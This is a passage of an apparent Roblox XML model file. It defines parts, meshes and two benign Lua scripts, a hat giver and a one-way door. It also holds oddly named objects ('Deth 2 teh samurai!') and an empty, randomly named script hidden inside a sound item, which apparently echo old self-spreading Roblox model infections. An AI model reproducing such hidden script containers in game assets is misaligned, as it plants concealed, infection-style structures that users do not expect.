							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2220">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">0jfac34</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2221">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">d0l7</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2222">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2223">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">102</int>
						<CoordinateFrame name="CFrame">
							<X>-67.5</X>
							<Y>7</Y>
							<Z>27</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.400000006</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>7</X>
							<Y>1.20000005</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2224">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-66.5</X>
							<Y>3.4000001</Y>
							<Z>26.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2225">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=10913794</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.75</X>
								<Y>0.75</Y>
								<Z>0.75</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=11125779</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2226">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;GreenTopHat&quot;
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Head&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-.88,0.05)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2227">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">jqvc5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX2228">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">iq68am1cr</string>
									<string name="Source"></string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2229">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2230">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-67.5</X>
								<Y>4.5999999</Y>
								<Z>29.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2231">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-70.5</X>
								<Y>4.5999999</Y>
								<Z>27</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2232">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">105</int>
							<CoordinateFrame name="CFrame">
								<X>-67.5</X>
								<Y>1.60000002</Y>
								<Z>27</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">512</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>2.4000001</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2233">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-64.5</X>
								<Y>4.5999999</Y>
								<Z>27</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2234">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-67.5</X>
								<Y>4.5999999</Y>
								<Z>24.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX2235">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX2236">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2237">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">0jfac34</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2238">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">d0l7</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2239">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX2240">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.80000019</Y>
						<Z>50.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>10.8000002</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2241">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>49.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door8</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2242">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-43.5</X>
						<Y>5.20000029</Y>
						<Z>45.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">1</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>3</X>
						<Y>9.60000038</Y>
						<Z>9</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX2243">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">print(&quot;One Way Door Script Loaded&quot;) 

Button = script.Parent 
Door1 = script.Parent.Parent.Door1 
Door2 = script.Parent.Parent.Door2 
Door3 = script.Parent.Parent.Door3 
Door4 = script.Parent.Parent.Door4 
Door5 = script.Parent.Parent.Door5 
Door6 = script.Parent.Parent.Door6 
Door7 = script.Parent.Parent.Door7 
Door8 = script.Parent.Parent.Door8 
Door9 = script.Parent.Parent.Door9 


function onTouched(hit) 

print(&quot;Door Hit&quot;) 
Door2.Transparency = 1 
Door2.CanCollide = false 
wait(.001) 
Door1.CanCollide = false
Door1.Transparency = 1
Door3.CanCollide = false
Door3.Transparency = 1
wait(.001) 
Door4.CanCollide = false
Door4.Transparency = 1
Door5.CanCollide = false
Door5.Transparency = 1
wait(.001) 
Door6.CanCollide = false
Door6.Transparency = 1
Door7.CanCollide = false
Door7.Transparency = 1
wait(.001) 
Door8.CanCollide = false
Door8.Transparency = 1
Door9.CanCollide = false
Door9.Transparency = 1
wait(2.2)
Door9.CanCollide = true
Door9.Transparency = 0
Door8.CanCollide = true
Door8.Transparency = 0
wait(.001)
Door7.CanCollide = true
Door7.Transparency = 0
Door6.CanCollide = true
Door6.Transparency = 0
wait(.001)
Door5.CanCollide = true
Door5.Transparency = 0
Door4.CanCollide = true
Door4.Transparency = 0
wait(.001)
Door3.CanCollide = true
Door3.Transparency = 0
Door1.CanCollide = true
Door1.Transparency = 0
wait(.001)
Door2.CanCollide = true
Door2.Transparency = 0
end 

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX2244">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>44.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
